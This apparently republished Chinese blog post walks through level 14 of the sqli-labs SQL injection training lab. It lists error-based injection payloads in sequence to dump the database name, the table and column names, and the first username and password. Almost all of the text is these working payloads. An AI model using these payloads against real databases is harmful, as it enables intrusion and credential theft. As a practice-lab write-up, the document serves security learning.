当前位置:Gxlcms > 数据库问题 > sqli-lab(14)

sqli-lab(14)

时间:2021-07-01 10:21:17 帮助过:33人阅读

union select count(*),concat_ws(‘*‘,(select database()),floor(rand()*2)) as a from information_schema.tables group by a#

技术图片

有数据库后 开始爆破表名

" union select count(*),concat_ws(‘;‘,(select table_name from information_schema.tables where table_schema=‘security‘),floor(rand()*2)) as a from information_schema.tables group by a#

技术图片

limit绕吧 这是不是个数问题 不能用group绕

" union select count(*),concat_ws(‘;‘,(select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

技术图片

得到表名后

爆列名

" union select count(*),concat_ws(‘;‘,(select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

技术图片

last 爆破字段 --第一个用户名和密码

" union select count(*),concat_ws(‘,‘,(select username from users limit 0,1),(select password from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a#

技术图片

 

sqli-lab(14)

标签:rom   sele   数据   username   实验   img   use   floor   alt   

人气教程排行